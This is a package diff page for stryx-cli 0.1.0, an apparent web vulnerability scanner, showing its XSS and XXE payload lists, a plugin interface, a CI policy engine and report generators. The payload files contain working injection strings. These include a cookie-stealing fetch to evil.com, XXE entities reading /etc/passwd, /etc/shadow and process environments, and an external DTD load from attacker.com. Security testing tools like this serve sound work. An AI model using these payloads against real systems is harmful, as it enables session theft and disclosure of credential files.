PyPI - stryx-cli - Versions diffs - 0.1.0__py3-none-any.whl - Mend

stryx-cli 0.1.0__py3-none-any.whl

This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.

Files changed (74) hide show

stryx/__init__.py +35 -0
stryx/ai/__init__.py +5 -0
stryx/ai/attack_planner.py +199 -0
stryx/ai/payload_generator.py +212 -0
stryx/ai/prompts.py +85 -0
stryx/ai/providers.py +249 -0
stryx/attacks/__init__.py +6 -0
stryx/attacks/attack_chain.py +111 -0
stryx/attacks/replay.py +186 -0
stryx/auth/__init__.py +1 -0
stryx/auth/session_manager.py +335 -0
stryx/cli.py +675 -0
stryx/comparison/__init__.py +1 -0
stryx/comparison/differ.py +255 -0
stryx/config/__init__.py +6 -0
stryx/config/default_config.yaml +12 -0
stryx/config/loader.py +111 -0
stryx/config/schema.py +80 -0
stryx/crawler/__init__.py +5 -0
stryx/crawler/discovery.py +178 -0
stryx/crawler/graphql_discovery.py +86 -0
stryx/crawler/html_crawler.py +294 -0
stryx/crawler/js_endpoints.py +165 -0
stryx/crawler/openapi.py +76 -0
stryx/crawler/sitemap.py +94 -0
stryx/orchestrator.py +347 -0
stryx/payloads/cmdi.txt +31 -0
stryx/payloads/header_injection.txt +15 -0
stryx/payloads/ldap.txt +19 -0
stryx/payloads/nosqli.txt +21 -0
stryx/payloads/open_redirect.txt +23 -0
stryx/payloads/path_traversal.txt +26 -0
stryx/payloads/sqli.txt +31 -0
stryx/payloads/ssrf.txt +30 -0
stryx/payloads/ssti.txt +21 -0
stryx/payloads/xss.txt +48 -0
stryx/payloads/xxe.txt +35 -0
stryx/plugins/__init__.py +5 -0
stryx/plugins/base.py +85 -0
stryx/policy/__init__.py +1 -0
stryx/policy/engine.py +201 -0
stryx/py.typed +0 -0
stryx/reports/__init__.py +5 -0
stryx/reports/generator.py +122 -0
stryx/reports/json_report.py +72 -0
stryx/reports/markdown_report.py +101 -0
stryx/reports/sarif_report.py +200 -0
stryx/reports/templates/report.html.j2 +163 -0
stryx/reports/terminal_report.py +138 -0
stryx/scanners/__init__.py +17 -0
stryx/scanners/auth.py +444 -0
stryx/scanners/authorization.py +220 -0
stryx/scanners/blind.py +328 -0
stryx/scanners/cloud_ssrf.py +208 -0
stryx/scanners/cors.py +158 -0
stryx/scanners/dependencies.py +296 -0
stryx/scanners/disclosure.py +339 -0
stryx/scanners/fuzz.py +391 -0
stryx/scanners/graphql.py +309 -0
stryx/scanners/injection.py +511 -0
stryx/scanners/race.py +257 -0
stryx/signatures/framework_fingerprints.yaml +122 -0
stryx/signatures/known_vulns.yaml +210 -0
stryx/utils/__init__.py +7 -0
stryx/utils/evidence.py +109 -0
stryx/utils/http_client.py +159 -0
stryx/utils/logging.py +51 -0
stryx/utils/rate_limiter.py +37 -0
stryx_cli-0.1.0.dist-info/METADATA +236 -0
stryx_cli-0.1.0.dist-info/RECORD +74 -0
stryx_cli-0.1.0.dist-info/WHEEL +5 -0
stryx_cli-0.1.0.dist-info/entry_points.txt +2 -0
stryx_cli-0.1.0.dist-info/licenses/LICENSE +190 -0
stryx_cli-0.1.0.dist-info/top_level.txt +1 -0

stryx/payloads/xss.txt ADDED Viewed

@@ -0,0 +1,48 @@
+<script>alert(1)</script>
+<script>alert('XSS')</script>
+<script>alert(document.cookie)</script>
+<img src=x onerror=alert(1)>
+<svg onload=alert(1)>
+<body onload=alert(1)>
+<iframe src="javascript:alert(1)">
+<input onfocus=alert(1) autofocus>
+<marquee onstart=alert(1)>
+<details open ontoggle=alert(1)>
+<video src=x onerror=alert(1)>
+<audio src=x onerror=alert(1)>
+<object data="javascript:alert(1)">
+<embed src="javascript:alert(1)">
+"><script>alert(1)</script>
+'><script>alert(1)</script>
+"><img src=x onerror=alert(1)>
+'><img src=x onerror=alert(1)>
+javascript:alert(1)
+javascript:alert(document.cookie)
+data:text/html,<script>alert(1)</script>
+<scr<script>ipt>alert(1)</scr</scr<script>ipt>
+<script>eval(atob('YWxlcnQoMSk='))</script>
+<script>fetch('https://evil.com/?c='+document.cookie)</script>
+"><svg/onload=alert(1)>
+"><body onload=alert(1)>
+"><iframe src="javascript:alert(1)">
+<div onmouseover=alert(1)>hover me</div>
+<button onclick=alert(1)>click</button>
+<input onmouseover=alert(1)>
+"><input onfocus=alert(1) autofocus>
+"><marquee onstart=alert(1)>
+"><details open ontoggle=alert(1)>
+"><video src=x onerror=alert(1)>
+"><audio src=x onerror=alert(1)>
+"><object data="javascript:alert(1)">
+"><embed src="javascript:alert(1)">
+"><base href="javascript://"><a href=alert(1)>click</a>
+"><form><button formaction="javascript:alert(1)">X</button>
+"><math><mtext><table><mglyph><svg><mtext><textarea><path id="</textarea><img onerror=alert(1) src=1>">
+"><style><img src=x onerror=alert(1)>
+"><template><script>alert(1)</script></template>
+"></script><script>alert(1)</script>
+"><img ""><script>alert(1)</script>
+"></><script>alert(1)</script>
+"><a href="data:text/html,<script>alert(1)</script>">X</a>
+"><svg><animate onbegin=alert(1) attributeName=x dur=1s>
+"><svg><set onbegin=alert(1) attributeName=x to=1>

stryx/payloads/xxe.txt ADDED Viewed

@@ -0,0 +1,35 @@
+<?xml version="1.0" encoding="UTF-8"?>
+<!DOCTYPE foo [<!ENTITY xxe SYSTEM "file:///etc/passwd">]>
+<foo>&xxe;</foo>
+<?xml version="1.0" encoding="UTF-8"?>
+<!DOCTYPE foo [<!ENTITY xxe SYSTEM "file:///etc/shadow">]>
+<foo>&xxe;</foo>
+<?xml version="1.0" encoding="UTF-8"?>
+<!DOCTYPE foo [<!ENTITY xxe SYSTEM "file:///proc/self/environ">]>
+<foo>&xxe;</foo>
+<?xml version="1.0" encoding="UTF-8"?>
+<!DOCTYPE foo [<!ENTITY xxe SYSTEM "file:///proc/self/cmdline">]>
+<foo>&xxe;</foo>
+<?xml version="1.0" encoding="UTF-8"?>
+<!DOCTYPE foo [<!ENTITY xxe SYSTEM "http://127.0.0.1/">]>
+<foo>&xxe;</foo>
+<?xml version="1.0" encoding="UTF-8"?>
+<!DOCTYPE foo [<!ENTITY xxe SYSTEM "http://127.0.0.1:8080/">]>
+<foo>&xxe;</foo>
+<!DOCTYPE foo [<!ELEMENT foo ANY><!ENTITY xxe SYSTEM "file:///etc/passwd">]>
+<foo>&xxe;</foo>
+<!DOCTYPE foo [<!ELEMENT foo ANY><!ENTITY xxe SYSTEM "php://filter/convert.base64-encode/resource=/etc/passwd">]>
+<foo>&xxe;</foo>
+<!DOCTYPE foo [<!ENTITY % dtd SYSTEM "http://attacker.com/evil.dtd">%dtd;]>
+<foo>&send;</foo>
+<!DOCTYPE foo [
+  <!ENTITY xxe1 SYSTEM "file:///etc/passwd">
+  <!ENTITY xxe2 SYSTEM "file:///etc/hostname">
+]>
+<foo>&xxe1;&xxe2;</foo>
+<?xml version="1.0" encoding="UTF-8"?>
+<!DOCTYPE foo [<!ENTITY xxe SYSTEM "expect://id">]>
+<foo>&xxe;</foo>
+<?xml version="1.0" encoding="UTF-8"?>
+<!DOCTYPE foo [<!ENTITY xxe SYSTEM "gopher://127.0.0.1:6379/_INFO">]>
+<foo>&xxe;</foo>

stryx/plugins/__init__.py ADDED Viewed

@@ -0,0 +1,5 @@
+"""Plugin system for STRYX (v0.5+ feature -- interface defined here)."""
+from stryx.plugins.base import BaseScanner, PluginMetadata
+__all__ = ["BaseScanner", "PluginMetadata"]

stryx/plugins/base.py ADDED Viewed

@@ -0,0 +1,85 @@
+"""Base scanner plugin interface.
+This defines the contract for custom scanner plugins (v0.5+).
+The plugin loader will not be functional until v0.5, but the interface
+is documented here for contributors who want to plan ahead.
+"""
+from __future__ import annotations
+from abc import ABC, abstractmethod
+from dataclasses import dataclass, field
+from typing import Any
+from stryx.utils.evidence import Finding
+@dataclass
+class PluginMetadata:
+    """Metadata for a scanner plugin."""
+    name: str
+    version: str = "0.1.0"
+    author: str = ""
+    description: str = ""
+    tags: list[str] = field(default_factory=list)
+class BaseScanner(ABC):
+    """Abstract base class for scanner plugins.
+    All scanner plugins must implement this interface. The plugin loader
+    (v0.5) will discover and instantiate classes that extend BaseScanner.
+    Required attributes:
+        metadata: PluginMetadata with name, version, description.
+    Required methods:
+        scan(): Run the scan and return a list of Finding objects.
+        validate_config(): Validate plugin-specific configuration.
+    """
+    @property
+    @abstractmethod
+    def metadata(self) -> PluginMetadata:
+        """Return plugin metadata."""
+        ...
+    @abstractmethod
+    async def scan(
+        self,
+        target_url: str,
+        endpoints: list[str],
+        config: dict[str, Any],
+    ) -> list[Finding]:
+        """Run the security scan.
+        Args:
+            target_url: The base URL of the target application.
+            endpoints: List of discovered endpoint URLs to test.
+            config: Plugin-specific configuration dictionary.
+        Returns:
+            List of Finding objects with full Evidence.
+        """
+        ...
+    @abstractmethod
+    def validate_config(self, config: dict[str, Any]) -> bool:
+        """Validate plugin-specific configuration.
+        Args:
+            config: Configuration dictionary to validate.
+        Returns:
+            True if configuration is valid, False otherwise.
+        """
+        ...
+    def get_required_dependencies(self) -> list[str]:
+        """Return list of required Python packages for this plugin.
+        Override this if your plugin needs additional dependencies.
+        The plugin loader (v0.5) will check these before loading.
+        """
+        return []

stryx/policy/__init__.py ADDED Viewed

	@@ -0,0 +1 @@
1	+ """Policy engine for CI/CD quality gates."""

stryx/policy/engine.py ADDED Viewed

@@ -0,0 +1,201 @@
+"""Policy engine for pass/fail evaluation of scan results.
+Enables CI/CD quality gates by defining security policies
+that scan results must satisfy.
+"""
+from __future__ import annotations
+from dataclasses import dataclass, field
+from pathlib import Path
+from typing import Any
+import yaml
+from stryx.utils.evidence import Finding, Severity
+from stryx.utils.logging import get_logger
+logger = get_logger("policy.engine")
+@dataclass
+class PolicyViolation:
+    """A single policy violation."""
+    rule: str
+    message: str
+    severity: str = "high"
+    details: str = ""
+@dataclass
+class PolicyResult:
+    """Result of policy evaluation."""
+    passed: bool
+    violations: list[PolicyViolation] = field(default_factory=list)
+    summary: str = ""
+    def __str__(self) -> str:
+        if self.passed:
+            return f"✅ Policy PASSED: {self.summary}"
+        lines = [f"❌ Policy FAILED: {self.summary}"]
+        for v in self.violations:
+            lines.append(f"  - [{v.severity.upper()}] {v.rule}: {v.message}")
+        return "\n".join(lines)
+class PolicyEngine:
+    """Evaluates scan findings against a security policy.
+    Policy YAML format:
+        policy:
+          max_critical: 0
+          max_high: 3
+          max_medium: 10
+          max_low: 50
+          max_findings: 100
+          required_headers:
+            - X-Content-Type-Options
+            - X-Frame-Options
+          blocked_cwe:
+            - CWE-89
+            - CWE-79
+          blocked_scanners:
+            - cloud-ssrf
+          min_confidence: 0.5
+    """
+    def __init__(self, policy_config: dict[str, Any] | None = None):
+        self.config = policy_config or {}
+    @classmethod
+    def from_file(cls, path: str) -> PolicyEngine:
+        """Load policy from a YAML file."""
+        try:
+            with open(path, encoding="utf-8") as f:
+                data = yaml.safe_load(f)
+            config = data.get("policy", data) if isinstance(data, dict) else {}
+            return cls(config)
+        except Exception as e:
+            logger.error(f"Failed to load policy from {path}: {e}")
+            return cls({})
+    def evaluate(self, findings: list[Finding]) -> PolicyResult:
+        """Evaluate findings against the policy."""
+        violations: list[PolicyViolation] = []
+        # Count by severity
+        severity_counts: dict[str, int] = {}
+        for f in findings:
+            sev = f.severity.value
+            severity_counts[sev] = severity_counts.get(sev, 0) + 1
+        # Check max severity counts
+        max_critical = self.config.get("max_critical")
+        if max_critical is not None and severity_counts.get("critical", 0) > max_critical:
+            violations.append(PolicyViolation(
+                rule="max_critical",
+                message=f"Found {severity_counts['critical']} critical findings (max: {max_critical})",
+                severity="critical",
+            ))
+        max_high = self.config.get("max_high")
+        if max_high is not None and severity_counts.get("high", 0) > max_high:
+            violations.append(PolicyViolation(
+                rule="max_high",
+                message=f"Found {severity_counts['high']} high findings (max: {max_high})",
+                severity="high",
+            ))
+        max_medium = self.config.get("max_medium")
+        if max_medium is not None and severity_counts.get("medium", 0) > max_medium:
+            violations.append(PolicyViolation(
+                rule="max_medium",
+                message=f"Found {severity_counts['medium']} medium findings (max: {max_medium})",
+                severity="medium",
+            ))
+        max_low = self.config.get("max_low")
+        if max_low is not None and severity_counts.get("low", 0) > max_low:
+            violations.append(PolicyViolation(
+                rule="max_low",
+                message=f"Found {severity_counts['low']} low findings (max: {max_low})",
+                severity="low",
+            ))
+        max_findings = self.config.get("max_findings")
+        if max_findings is not None and len(findings) > max_findings:
+            violations.append(PolicyViolation(
+                rule="max_findings",
+                message=f"Found {len(findings)} total findings (max: {max_findings})",
+                severity="high",
+            ))
+        # Check blocked CWEs
+        blocked_cwe = set(self.config.get("blocked_cwe", []))
+        if blocked_cwe:
+            for f in findings:
+                if f.cwe in blocked_cwe:
+                    violations.append(PolicyViolation(
+                        rule="blocked_cwe",
+                        message=f"Blocked CWE found: {f.cwe} at {f.endpoint}",
+                        severity=f.severity.value,
+                        details=f.title,
+                    ))
+        # Check blocked scanners
+        blocked_scanners = set(self.config.get("blocked_scanners", []))
+        if blocked_scanners:
+            for f in findings:
+                if f.scanner in blocked_scanners:
+                    violations.append(PolicyViolation(
+                        rule="blocked_scanners",
+                        message=f"Finding from blocked scanner '{f.scanner}': {f.title}",
+                        severity=f.severity.value,
+                        details=f.endpoint,
+                    ))
+        # Check minimum confidence
+        min_confidence = self.config.get("min_confidence")
+        if min_confidence is not None:
+            low_conf_count = sum(
+                1 for f in findings if f.evidence.confidence < min_confidence
+            )
+            if low_conf_count > 0:
+                violations.append(PolicyViolation(
+                    rule="min_confidence",
+                    message=f"{low_conf_count} findings below confidence threshold {min_confidence}",
+                    severity="info",
+                ))
+        # Build summary
+        total = len(findings)
+        passed = len(violations) == 0
+        if passed:
+            summary = f"{total} findings, all within policy limits"
+        else:
+            summary = f"{total} findings, {len(violations)} policy violation(s)"
+        return PolicyResult(
+            passed=passed,
+            violations=violations,
+            summary=summary,
+        )
+# Default policy (permissive)
+DEFAULT_POLICY = {
+    "max_critical": 0,
+    "max_high": 10,
+    "max_medium": 50,
+    "max_low": 200,
+    "max_findings": 500,
+}
+def save_default_policy(path: str) -> None:
+    """Save the default policy to a YAML file."""
+    with open(path, "w", encoding="utf-8") as f:
+        yaml.dump({"policy": DEFAULT_POLICY}, f, default_flow_style=False, sort_keys=False)
+    logger.info(f"Default policy saved to {path}")

stryx/py.typed ADDED Viewed

File without changes

stryx/reports/__init__.py ADDED Viewed

@@ -0,0 +1,5 @@
+"""Report generation modules for STRYX."""
+from stryx.reports.generator import ReportGenerator
+__all__ = ["ReportGenerator"]

stryx/reports/generator.py ADDED Viewed

@@ -0,0 +1,122 @@
+"""Report generator -- orchestrates all report format outputs."""
+from __future__ import annotations
+from stryx.attacks.attack_chain import AttackChain
+from stryx.reports.json_report import JsonReport
+from stryx.reports.markdown_report import MarkdownReport
+from stryx.reports.terminal_report import TerminalReport
+from stryx.utils.evidence import Finding
+from stryx.utils.logging import get_logger
+logger = get_logger("reports.generator")
+class ReportGenerator:
+    """Generates security reports in multiple formats."""
+    def __init__(
+        self,
+        target_url: str,
+        findings: list[Finding],
+        attack_chains: list[AttackChain] | None = None,
+    ):
+        self.target_url = target_url
+        self.findings = findings
+        self.attack_chains = attack_chains or []
+    def generate_terminal(self) -> None:
+        """Display results in terminal."""
+        report = TerminalReport(
+            self.target_url, self.findings, self.attack_chains
+        )
+        report.display()
+    def generate_json(self, path: str) -> str:
+        """Generate JSON report."""
+        report = JsonReport(
+            self.target_url, self.findings, self.attack_chains
+        )
+        report.save(path)
+        return path
+    def generate_markdown(self, path: str) -> str:
+        """Generate Markdown report."""
+        report = MarkdownReport(
+            self.target_url, self.findings, self.attack_chains
+        )
+        report.save(path)
+        return path
+    def generate_html(self, path: str) -> str:
+        """Generate HTML report using Jinja2."""
+        try:
+            import os
+            from jinja2 import Environment, FileSystemLoader
+            template_dir = os.path.join(os.path.dirname(__file__), "templates")
+            env = Environment(loader=FileSystemLoader(template_dir))
+            template = env.get_template("report.html.j2")
+            # Count severities
+            severity_counts = {}
+            for f in self.findings:
+                sev = f.severity.value
+                severity_counts[sev] = severity_counts.get(sev, 0) + 1
+            # Prepare finding data for template
+            findings_data = []
+            for f in self.findings:
+                findings_data.append({
+                    "title": f.title,
+                    "severity": f.severity.value,
+                    "endpoint": f.endpoint,
+                    "description": f.description,
+                    "remediation": f.remediation,
+                    "cwe": f.cwe,
+                    "owasp": f.owasp,
+                    "evidence": f.evidence,
+                })
+            # Prepare chain data
+            chains_data = []
+            for c in self.attack_chains:
+                chains_data.append({
+                    "name": c.name,
+                    "total_impact": c.total_impact,
+                    "estimated_severity": c.estimated_severity,
+                    "steps": [
+                        {
+                            "title": step.finding.title,
+                            "description": step.description,
+                        }
+                        for step in c.steps
+                    ],
+                })
+            html = template.render(
+                target=self.target_url,
+                generated_at=__import__("datetime").datetime.now(
+                    __import__("datetime").timezone.utc
+                ).isoformat(),
+                total_findings=len(self.findings),
+                critical_count=severity_counts.get("critical", 0),
+                high_count=severity_counts.get("high", 0),
+                medium_count=severity_counts.get("medium", 0),
+                low_count=severity_counts.get("low", 0),
+                findings=findings_data,
+                attack_chains=chains_data,
+            )
+            with open(path, "w", encoding="utf-8") as f:
+                f.write(html)
+            logger.info(f"HTML report saved to {path}")
+            return path
+        except ImportError:
+            logger.warning("Jinja2 not available, HTML report not generated")
+            return ""
+        except Exception as e:
+            logger.error(f"Failed to generate HTML report: {e}")
+            return ""

stryx/reports/json_report.py ADDED Viewed

@@ -0,0 +1,72 @@
+"""JSON report generator -- MEDUSA integration contract."""
+from __future__ import annotations
+import json
+from datetime import UTC, datetime
+from typing import Any
+from stryx.attacks.attack_chain import AttackChain
+from stryx.utils.evidence import Finding
+from stryx.utils.logging import get_logger
+logger = get_logger("reports.json")
+class JsonReport:
+    """Generates machine-readable JSON reports for MEDUSA ingestion.
+    This is the stable integration contract -- MEDUSA parses this output.
+    Schema is documented in docs/DOCS.md.
+    """
+    def __init__(
+        self,
+        target_url: str,
+        findings: list[Finding],
+        attack_chains: list[AttackChain] | None = None,
+    ):
+        self.target_url = target_url
+        self.findings = findings
+        self.attack_chains = attack_chains or []
+    def generate(self) -> dict[str, Any]:
+        """Generate the JSON report."""
+        severity_counts = {}
+        for f in self.findings:
+            sev = f.severity.value
+            severity_counts[sev] = severity_counts.get(sev, 0) + 1
+        return {
+            "report": {
+                "tool": "stryx",
+                "version": "0.1.0",
+                "generated_at": datetime.now(UTC).isoformat(),
+                "target": self.target_url,
+            },
+            "summary": {
+                "total_findings": len(self.findings),
+                "by_severity": severity_counts,
+                "critical": severity_counts.get("critical", 0),
+                "high": severity_counts.get("high", 0),
+                "medium": severity_counts.get("medium", 0),
+                "low": severity_counts.get("low", 0),
+                "info": severity_counts.get("info", 0),
+            },
+            "findings": [f.to_dict() for f in self.findings],
+            "attack_chains": [c.to_dict() for c in self.attack_chains],
+            "metadata": {
+                "scanners_used": list(set(f.scanner for f in self.findings)),
+                "total_endpoints_tested": len(set(f.endpoint for f in self.findings)),
+            },
+        }
+    def to_json(self, indent: int = 2) -> str:
+        """Generate JSON string."""
+        return json.dumps(self.generate(), indent=indent, default=str)
+    def save(self, path: str) -> None:
+        """Save report to file."""
+        with open(path, "w", encoding="utf-8") as f:
+            f.write(self.to_json())
+        logger.info(f"JSON report saved to {path}")

stryx/reports/markdown_report.py ADDED Viewed

@@ -0,0 +1,101 @@
+"""Markdown report generator."""
+from __future__ import annotations
+from stryx.attacks.attack_chain import AttackChain
+from stryx.utils.evidence import Finding
+from stryx.utils.logging import get_logger
+logger = get_logger("reports.markdown")
+class MarkdownReport:
+    """Generates Markdown reports for PR comments and CI logs."""
+    def __init__(
+        self,
+        target_url: str,
+        findings: list[Finding],
+        attack_chains: list[AttackChain] | None = None,
+    ):
+        self.target_url = target_url
+        self.findings = findings
+        self.attack_chains = attack_chains or []
+    def generate(self) -> str:
+        """Generate the Markdown report."""
+        lines = [
+            "# STRYX Security Scan Report",
+            "",
+            f"**Target:** {self.target_url}",
+            f"**Findings:** {len(self.findings)}",
+            "",
+        ]
+        # Summary
+        severity_counts: dict[str, int] = {}
+        for f in self.findings:
+            sev = f.severity.value
+            severity_counts[sev] = severity_counts.get(sev, 0) + 1
+        lines.append("## Summary")
+        lines.append("")
+        for sev in ["critical", "high", "medium", "low", "info"]:
+            count = severity_counts.get(sev, 0)
+            if count > 0:
+                lines.append(f"- **{sev.upper()}:** {count}")
+        lines.append("")
+        # Findings
+        if self.findings:
+            lines.append("## Findings")
+            lines.append("")
+            for i, f in enumerate(self.findings, 1):
+                lines.append(f"### {i}. [{f.severity.value.upper()}] {f.title}")
+                lines.append("")
+                lines.append(f"**Endpoint:** `{f.endpoint}`")
+                lines.append(f"**CWE:** {f.cwe}")
+                lines.append(f"**OWASP:** {f.owasp}")
+                lines.append(f"**Scanner:** {f.scanner}")
+                lines.append(f"**Confidence:** {f.evidence.confidence:.0%}")
+                lines.append("")
+                lines.append(f"**Description:** {f.description}")
+                lines.append("")
+                lines.append(f"**Remediation:** {f.remediation}")
+                lines.append("")
+                lines.append("**Evidence:**")
+                lines.append(f"- Method: `{f.evidence.request_method}`")
+                lines.append(f"- URL: `{f.evidence.request_url}`")
+                lines.append(f"- Status: `{f.evidence.response_status}`")
+                if f.evidence.payload:
+                    lines.append(f"- Payload: `{f.evidence.payload}`")
+                if f.evidence.response_snippet:
+                    lines.append("- Response snippet:")
+                    lines.append("```")
+                    lines.append(f.evidence.response_snippet[:500])
+                    lines.append("```")
+                lines.append("")
+                lines.append("---")
+                lines.append("")
+        # Attack chains
+        if self.attack_chains:
+            lines.append("## Attack Chains")
+            lines.append("")
+            for chain in self.attack_chains:
+                lines.append(f"### {chain.name}")
+                lines.append(f"**Impact:** {chain.total_impact}")
+                lines.append(f"**Severity:** {chain.estimated_severity.upper()}")
+                lines.append("")
+                for j, step in enumerate(chain.steps, 1):
+                    lines.append(f"{j}. **{step.finding.title}** - {step.description}")
+                lines.append("")
+        return "\n".join(lines)
+    def save(self, path: str) -> None:
+        """Save report to file."""
+        with open(path, "w", encoding="utf-8") as f:
+            f.write(self.generate())
+        logger.info(f"Markdown report saved to {path}")